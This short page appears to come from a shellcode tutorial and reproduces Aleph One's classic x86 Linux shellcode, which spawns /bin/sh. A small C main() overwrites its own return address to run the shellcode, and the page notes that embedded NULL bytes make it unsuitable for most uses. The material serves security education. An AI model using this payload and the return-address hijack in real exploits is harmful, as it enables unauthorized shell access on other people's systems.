This code is one of the simplest examples of shellcode for x86 Linux, it contains embedded NULL characters which makes it unsuitable for most uses.
(You should look at the NULL-free shellcode if you want something usable).
If you follow the links in the Tutorials Section you'll discover how this was constructed.
/*
* Run a shell via asm. Contains embedded NULL's.
*
* Written by Aleph One - taken from 'Smashing The Stack For Fun And Profit".
*
*/
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}